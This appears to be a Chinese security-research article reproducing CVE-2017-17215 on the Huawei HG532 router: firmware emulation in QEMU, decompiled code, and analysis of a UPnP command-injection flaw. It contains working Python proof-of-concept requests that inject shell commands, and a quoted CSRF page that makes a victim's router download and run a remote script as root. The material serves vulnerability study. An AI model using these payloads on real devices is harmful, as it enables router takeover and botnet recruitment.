Skip to content

Latest commit

 

History

History
264 lines (170 loc) · 12.2 KB

复现_路由器命令执行.md

File metadata and controls

264 lines (170 loc) · 12.2 KB
Raw

本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com

上次有小伙伴反馈说，摄像头的仿真部分写的不详细，正好最近在先知上看到了 ONESHELL 师傅的文章**「见参考链接 1」，所以今天我们就以这台路由器为例子，使用 QEMU 仿真模拟并分析该漏洞的成因「固件下载后台回复：** 华为路由器 」

!! 文末另有福利哦!!

转发本文到朋友圈、参与抽奖获取****同款路由器

1 解压固件

尝试 binwalk 提取文件系统：

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解压出来的有很多文件，最主要的就是 squashfs 文件系统这个文件夹

2 模拟仿真

首先在解包的文件系统中找一个可执行文件，使用 file 命令查看一下系统架构等信息

如上图所示，可以知道该系统为 MIPS 架构，因此我们在启动 QEMU 的时候需要使用 MIPS 的内核以及文件系统：

下载地址：

https://people.debian.org/~aurel32/qemu/mips/

因为我们期望宿主机能够和 QEMU 仿真机处在同一个网络环境中，所以我们要对网络进行设置，首先是在宿主机中配置 tap 网络：

sudo tunctl -t tap0 -u root
sudo ifconfig tap0 192.168.3.1/24
sudo ifconfig

接下来启动 QEMU：

sudo qemu-system-mips -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s

账号密码均为 root

给 qemu 中的仿真机设置 IP 地址

为了方便上传解包的文件系统，我们这里先用 tar 将文件系统打包

使用 SCP 传输文件

在 QEMU 仿真机中解压

挂载固件文件系统中的 proc 目录和 dev 目录到 chroot 环境，因为 proc 中存储着进程所需的文件，比如 pid 文件等等，而 dev 中存储着相关的设备

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh

通过 ssh 连接 qemu，并启动路由器「此处需要再次执行 chroot」

启动路由器

通过之前的 qemu 终端我们可以查看到 ip 地址已经发生变化，因此 sh 登陆的链接已经被断开，所以我们这里再将 IP 地址修改回来

这个时候再使用浏览器访问 192.168.3.2 即可

账号密码分别为：admin / @Hua1234，存在于固件压缩包的账号密码文件内：

3 漏洞复现

根据网上的复现文章，payload 如下：

import requests 
headers = {
    "Authorization": "Digest user
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到在 NewStatusURL 标签处注入了代码，例如上面的 POC 为创建一个名为 hell 的文件夹。

4 漏洞分析

首先需要分析出这 37215 端口的应用程序「此处对应的程序为 upnp｜怎么查找端口对应的程序可以参照我们之前的一篇文章」，然后对该程序进行逆向。从 POC 中可以分析，注入点是在 ，通过在 Ghidra 中搜索该字符串，并查找交叉引用，找到目标函数**「IDA 不大行，没法 F5，我也不知道为啥，求知道的师傅讲解」**：

我们可以看到这 sprinf 将 418 和 414 变量直接写入到了 1040 字符串，未经过任何验证就直接使用 system 执行

int FUN_0040749c(int param_1)
{
  int iVar1;
  int local_418;
  int local_414;
  char acStack1040 [1028];
  
  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
  if (((iVar1 == 0) && (local_418 != 0)) &&
     (iVar1 = ATP_XML_GetChildNodeByName
                        (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
  {
    if (local_414 != 0) {
      snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
               local_418,local_414);
      system(acStack1040);
    }
  }
  return iVar1;
}

可以看到程序通过 ATP_XML_GetChildNodeByName 函数来获取 NewDownloadURL 节点的内容，然后判断结果是否为空，如果获取成功且结果不为空则继续获取 NewStatusURL 节点的内容，再判断结果是否空，如果不为空则将 NewDownloadURL 和 NewStatusURL 节点的内容拼接到字符串，并执行。

此处我们就可以构造插入命令执行

POC 如下：

import requests 
headers = {
    "Authorization": "Digest user
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir hell;</NewStatusURL>
   <NewDownloadURL>;mkdir hello;</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)

在两个注入点分别注入不同的命令，qemu 仿真机建立的文件如下

5 漏洞扩展

值得一提的是，该路由器的 upnp 只能从内网端口访问，默认无法从外网端口访问，那我们有什么办法扩大该漏洞影响呢？

通过查阅资料，我们发现了 salt@腾讯玄武实验室师傅对该漏洞的探索，如下：

要成功发起该请求需要满足以下两点：一是成功通过服务器端的 HTTP 基础认证，二是构造 XML 攻击代码。仔细观察 HTTP 基础认证的字段，我们可以发现，用于基础认证的用户名和密码为 dslf-config:admin。因此我们只需要构造表单，使之 POST 到 http:// dslf-config:admin @routerip:37215 即可自动完成基础认证。接下来就是如何用表单来构造一个 XML 的请求包了

https://paper.seebug.org/498/

最终，salt 师傅构造的 CSRF 攻击 payload 如下：

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain' action="http://dslf-config:[email protected]:37215/ctrlt/DeviceUpgrade_1">
    <input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
  </form>
</body>

攻击者只要诱使用户访问包含上述代码的页面，存在漏洞的路由器就会远程下载一个 bash 脚本并以 root 的身份执行

能够将仅能在内网触发的漏洞扩大到远程攻击的想法，值得我们在每次漏洞挖掘中去思考

5 漏洞影响

在 Satori 僵尸网络事件中，攻击者使用的 0day 漏洞为华为家用路由器 HG532 远程执行任意代码（CVE-2017-17215），payload 是名为 OKIRU/SATORI，是 Mirai 的升级版变种。攻击发起者的昵称为 Nexus Zeta

研究人员确认了漏洞后，就通报给华为，华为安全团队非常给力，很快对该漏洞进行了响应和修复，并提供了补丁

关于该僵尸漏洞的详细信息，可以阅读如下报告：https://cloud.tencent.com/developer/news/7159

Time Line：

  • 2018-02-06 V1.5 UPDATED Updated the description

  • 2017-12-22 V1.4 UPDATED Added the description of solution

  • 2017-12-14 V1.3 UPDATED Added CVE-ID

  • 2017-12-07 V1.2 UPDATED Added Temporary Fixes

  • 2017-12-06 V1.1 UPDATED Added the IPS signature

  • 2017-11-30 V1.0 INITIAL

参考引用：

https://xz.aliyun.com/t/8494
https://xz.aliyun.com/t/4819
https://paper.seebug.org/498/
https://xz.aliyun.com/t/4130#toc-5
https://f01965.com/2020/07/25/CVE-2017-17215/
https://research.checkpoint.com/2017/good-zero-day-skiddie/

给小 R 同学加鸡腿🍗